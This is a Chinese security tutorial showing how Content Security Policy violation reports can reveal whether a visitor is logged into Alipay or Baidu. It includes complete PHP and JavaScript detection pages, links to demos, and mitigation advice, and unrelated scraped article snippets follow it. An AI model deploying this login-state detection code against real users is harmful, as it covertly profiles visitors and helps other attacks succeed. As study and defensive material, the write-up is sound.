利用CSP探测网站登陆状态

0x00 背景


今天看到zone里有同学发帖说了探测支付宝登录状态的帖子：http://zone.wooyun.org/content/17665

由此我想到了我们parsec的@/fd 半年前提到的一个思路，当时他给出了一个探测twitter是否登录的页面，可是我那个时候才疏学浅，好像一直没理解。这时候返回去看看，就有了这篇文章。

0x01 CSP简介


内容安全策略（Content Security Policy，简称CSP）是一种以可信白名单作机制，来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码 <script> 块内容，内联事件，内联样式 ，以及禁止执行eval() , newFunction() , setTimeout([string], …) 和setInterval([string], …) 。

CSP更详尽的介绍可以在drops看到：http://drops.wooyun.org/tips/1439

0x02 大环境介绍与原理


简单了解一下CSP，我们知道CSP可以限制网站中可否包含某来源的内容。同时，csp还可以在页面违反规则的时候发送一个数据包，将具体细节通知给服务端。

我们再来想想像支付宝这种集成度很高的网站服务，当我们在未登录的情况下访问alipay的某个子域名（如test.alipay.com），很可能是会302跳转到一个用户登陆专用的域名（如login.alipay.com）下要求用户登录。而在已登录的情况下是不会跳转的。

这就造成了一个登录/未登录的一个差别，主要差别如下：

  1. HTTP状态码（302和200）
  2. 最终访问的域名（test.alipay.com和login.alipay.com）

因为浏览器SOP（同源策略）的限制，正常情况下我们是无法获取到alipay域名下HTTP状态码的。

但结合CSP安全策略，我们却可以简单获得第2个，也就是最终访问域名。为什么？

我前面说了CSP是可以限制页面中允许加载哪些来源的内容的。所以，当我们将CSP设置为只接受来源为test.alipay.com的内容，那么当加载来源为login.alipay.com的请求时就会被CSP策略拒绝，并可以将这个访问report给服务端，我们通过report的内容就能判断用户访问的是test还是login。 过程如下：

这就是原理，很赞的一个思路，再次崇拜一次@/fd。

0x03 以支付宝为例编写探测代码


所以，根据上面的思路，我们第一步就是找到一个这样的页面：登录、未登录用户访问时到达的“域名”不相同。这里的“域名”包括protocol和hostname，也就是说http://test.alipay.com和https://test.alipay.com是不同的域名。

像支付宝这种网站有很多这样的页面，因为支付宝的很多服务是登录用户才能查看的，而登录入口又只有那么一个。

比如这个URL：https://my.alipay.com/portal/i.htm，当未登录用户访问的时候会跳转到https://auth.alipay.com/login/index.htm，已登录用户访问时不会跳转。

这时候我们将CSP的img-src限制为https://my.alipay.com，再将https://my.alipay.com/portal/i.htm作为img的src，这个时候就会出现一个有趣的现象：未登录的用户访问时，会触发CSP规则。

因为未登录的用户访问时实际img加载的src是https://auth.alipay.com/login/index.htm，不符合CSP限制的img-src，自然就触发规则了。 这时候我们在设置CSP的report-uri为report.php，不符合规则的请求会被记录下作为日志发送到report.php里：

不过浏览器在发送这个report包的时候是不带cookie的，所以服务器那边并不能直接判断是哪个用户发送的report包，所以我们在report的GET参数里带上用户的session id。

示例代码如下：


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

<?php

session_start();

$ssid = session_id();

header("Content-Security-Policy:img-src https://my.alipay.com; report-uri report.php?ssid={$ssid}");

?>

<html>

<head>

<meta charset="utf-8" />

<title>支付宝登陆检测</title>

</head>

<body onload="return check();">

<img src="https://my.alipay.com/portal/i.htm">

<b id="result"></b>

<script type="text/javascript">

function check()

{

    with(new XMLHttpRequest) {

        open(‘GET‘, ‘alipay.php‘);

        send();

        onreadystatechange = function() {

            if (readyState ^ 4) return;

            result.innerHTML = parseInt(responseText) > 0 ? ‘未登录‘ : ‘已登录‘;

        }

    }

}

</script>

</body>

report.php用来记录：


1

2

3

4

5

6

7

8

9

10

11

12

13

14

<?php

session_start();

if (preg_match(‘/^[a-z0-9]*$/i‘, $_GET[‘ssid‘])) {

    session_id($_GET[‘ssid‘]);

}else{

    exit;

}

$report = file_get_contents("php://input");

if (!empty($report)) {

    $_SESSION[‘nologin‘] = 1;

}else{

    $_SESSION[‘nologin‘] = 0;

}

?>

当接收到php://input的时候说明CSP发送报告了，说明请求违反的CSP规则了，也就意味着用户没有登录，所以将session中的nologin设置为1。 然后在index.php里用一个ajax来向alipay.php请求，实际上就是获得$_SESSION[nologin]的值：


1

2

3

4

5

6

<?php

session_start();

echo isset($_SESSION[‘nologin‘]) ? $_SESSION[‘nologin‘] : 0;

setcookie(‘PHPSESSID‘, ‘‘, time() - 10);

session_destroy();

?>

如上，获取完后将session清除一下，以免影响下一次的判断。

获得值如果为1的话，说明没有登录，如果为0说明已登录，就可以显示出来或做任何其他操作了。

来个演示：http://mhz.pw/game/detect/alipay/

登录支付宝以后访问，显示“已登录”

换个浏览器，直接访问则显示“未登录”：

0x04 由http/https混用造成的问题（百度为例）


同样的问题，不仅仅是支付宝存在，只要有“统一登录入口”的网站都可能出现这个问题，因为统一登录入口通常是一个单独的域名。

还有一种情况，是http和https混用造成的。有些网站的登录页面是https加密传输的，但登陆以后实际的操作页面是走http。

这之间一样存在一个跳转的问题，当我们访问一个登陆后才能看到的页面如http://xxx.com/index，未登录的用户就会跳转到登录页面，如https://xxx.com/login。

在CSP里http和https是完全不同的两个来源，所以也能触发CSP规则。

比如https://passport.baidu.com，这是百度的安全中心。当已登录用户访问的时候会跳转到“安全中心”首页http://passport.baidu.com/center（注意，此处是http）：

而未登录用户访问则会跳转到https://passport.baidu.com/v2/?login（这时候是https）：

虽然两个域名都是passport.baidu.com，但因为protocol不同，混用的http和https就能够影响CSP的拦截情况。

我们将CSP设置为img-src https://passport.baidu.com ，那么img的src就只接受来源为https://passport.baidu.com的img，那么已登录用户访问的http://passport.baidu.com/center就会被阻止，产生一个CSP报告。记录下这个报告，一样能判断访客是否已登录百度。

测试你是否登录百度：http://mhz.pw/game/detect/baidu/

0x05 影响及防范方法


严格来论，只是判断用户是否登录，这个问题并不算一个漏洞。当时@/fd将问题提交到推特之后推特的回应也是不算漏洞，但确实如果与其他一些漏洞结合使用，会让某些漏洞的成功率提高一大截。所以我们可以将之归为一个“奇技淫巧”。

这个问题更容易出现在一些大型网站、企业网络之中，往往这些网站的统一性和重用性都做的很好，所以往往登录入口只有一个（现在流行一个user center的概念），所以难免会出现一些跳转的问题。有这些跳转，就是探测用户登录的基础。

这个方法还有一个限制，就是用户使用的浏览器需要是现代浏览器，需要支持CSP安全策略。如果你要探测的用户还在用IE6~IE10，那么是肯定不行的。 如何解决这个问题？如果你真的觉得这是个安全问题的话，那么尽量避免跳转，或者使用javascript进行页面的跳转。

时间： 2024-10-14 10:31:29

利用CSP探测网站登陆状态的相关文章

如何维持APP用户的登陆状态

一.一种方式 原文链接:http://ciniao.legu.cc/appcan/article_54.html 这个问题太过于常见,也过于简单,以至于大部分开发者根本没有关注过这个问题,我根据和我沟通的开发者中,总结出来常用的方法有以下几种: (个人觉得不简单么) 一:服务端默认的session 这种方式最大的优点是服务端不用增加任何代码,但APP与网站不同,通常情况下,我们会希望APP的登陆状态能维持数天,甚至数月之久,大部分的服务端程序,都会在进程重启时或客户端多久不活动时,将sessio

登陆状态持久化

前几天,一直都想实现登陆持久化功能,于是到网上各种翻阅资料.最终总结实现登陆持久化无非那么几种方法. 1.将信息存入session 2.将信息存入cookie,(可以采用MD5加密) 3.拉长cookie的有效时间 第一种操作最简单,也很容易实现,但是有个缺点:就是它的持久化只是在一次会话里面,也就是说当你关掉页面重新开启页面的时候,发觉信息已经被清除干净了.这样做显然不合适,第二种是用户名和密码(经过加密后)存入cookie,每次对cookie的信息进行校验,实现持久化.这也不是很好的办法,毕

利用Python监测MySQL主从状态

探测MySQL主从状态,如果从未同步,则发邮件通知运维人员.利用定时任务秒级监测! # -*- coding: utf-8 -* #! /usr/bin/env python from fabric.api import * from fabric.colors import * from fabric.context_managers import * from fabric.contrib.console import confirm import string import smtplib

python如何保持登陆状态的简单现实

洒家不是程序员只是分享一个思路,前段时间洒家无意中尝试上如何用python保持手工登陆网站的 状态,当登陆某个论坛时,是用cookie值来识别用户身份的,只要这个cookie值没有失效,就可以 长期登陆状态. 用python保持登陆状态的思路: 手工登陆论坛 用火狐抓包插件httofox获取cookie值 python传送得到的cookie值 以下是python实现代码 import urllib,urllib2 cj = '获取的cookie' url = '请求页面' user = 'Moz

自动登录、记住我（保存登陆状态）实现

自动登录.记住我(保存登陆状态)实现:保存在客户端不能用session,可以用cookies保存 实现方式:第一种方法:可以把SessionId(GUID)放到cookies中,但 这样为了让用户下次访问我们网站时,知道这 个sessionId对应的是哪一个用户,我们还要在 数据库中建张表.表字段:主键,UserId  SessionId  时间 缺点:不能在两台机器上同时保存 第二种方法:把UserId放cookies中  密码(加密)相对于第一种方法优点:多台机器可以保存缺点:不安全,密码放

IOS开发之记录用户登陆状态

今天要说的是如何记录我们用户的登陆状态.例如微信,QQ等,在用户登陆后,关闭应用在打开就直接登陆了.那么我们在App开发中如何记录用户的登陆状态呢?之前在用PHP或者Java写B/S结构的东西的时候,我们用Session来存储用户的登陆信息,Session是存在服务器上仅在一次回话中有效,如果要记录用户的登陆状态,那么会用到一个叫Cookie的东西.Cookie和Session不同,Cookie是存在用户本地的一个文件,Cookie中存的就是用户的登陆信息,当用户在此登陆时,自动从Cookie中

通过SharePreference来存储登陆状态和账号信息

2014-07-0212:00:19 package com.example.getshareperference; import java.util.Map; import android.content.Context; import android.content.SharedPreferences; import android.content.SharedPreferences.Editor; //封装SharedPreferences类 public class SharePrefe

IOS 记录用户登陆状态 第二次免登陆

NSUserDefault是苹果提供给我们用来存储用户的登陆信息的持久化类.下面用实例看下记录登陆状态的过程 首先创建用于存取用户信息的方法类 HRAccountTool.h: #import <Foundation/Foundation.h> @interface HRAccountTool : NSObject /** * 存储账号信息 * @param account 需要存储的账号信息:第一个值为用户名:第二个值为密码 */ + (void)saveAccount:(NSArray *

使用cookie记录登录名，下次登录时能够记得上次的登录名，使用session记住登录信息并验证是否登录，防止利用url打开网站，并实现退出登录功能

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <